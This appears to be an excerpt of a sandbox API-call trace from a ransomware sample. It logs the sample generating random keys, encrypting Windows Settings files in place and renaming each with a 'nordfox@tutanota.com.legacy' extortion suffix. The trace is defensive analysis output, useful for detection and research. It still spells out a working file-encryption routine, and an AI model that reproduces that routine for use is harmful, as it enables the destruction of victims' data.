[0198.139] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.139] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.139] CloseHandle (hObject=0x1c24) returned 1 [0198.140] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyGeneral.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacygeneral.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyGeneral.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacygeneral.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.142] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.142] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyEmail.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.142] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0198.216] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.216] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0198.216] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0198.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.217] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.217] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.218] CloseHandle (hObject=0x1c24) returned 1 [0198.218] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyEmail.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyemail.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyEmail.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyemail.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0198.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCustomPeripherals.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.220] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x467, lpOverlapped=0x0) returned 1 [0198.221] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.221] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x467, lpOverlapped=0x0) returned 1 [0198.222] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x467 [0198.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.222] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.222] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.222] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.222] CloseHandle (hObject=0x1c24) returned 1 [0198.223] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCustomPeripherals.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycustomperipherals.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCustomPeripherals.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycustomperipherals.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.224] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0198.225] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.225] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyContacts.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.225] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0198.226] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.226] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0198.226] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0198.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.227] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.227] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.227] CloseHandle (hObject=0x1c24) returned 1 [0198.227] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyContacts.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycontacts.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyContacts.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycontacts.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0198.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0198.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCallHistory.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.230] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0198.370] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.370] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0198.371] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x449 [0198.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.371] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.371] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.371] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.372] CloseHandle (hObject=0x1c24) returned 1 [0198.372] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCallHistory.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycallhistory.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCallHistory.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycallhistory.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.037] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCalendar.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.038] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.039] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.039] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.040] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.040] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.041] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.041] CloseHandle (hObject=0x1c24) returned 1 [0199.041] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCalendar.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycalendar.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyCalendar.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacycalendar.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.043] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.043] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyAccountInfo.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.044] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x449, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0199.045] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.045] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x449, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x449, lpOverlapped=0x0) returned 1 [0199.046] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x449 [0199.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.046] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.046] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.047] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.047] CloseHandle (hObject=0x1c24) returned 1 [0199.047] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyAccountInfo.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyaccountinfo.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyAccountInfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyaccountinfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.050] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.050] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.050] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemShellMode.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.050] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.052] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.052] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.058] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0199.058] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.058] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.058] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.059] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.059] CloseHandle (hObject=0x1c24) returned 1 [0199.060] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemShellMode.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemshellmode.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemShellMode.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemshellmode.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemInfo.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.062] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.063] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, 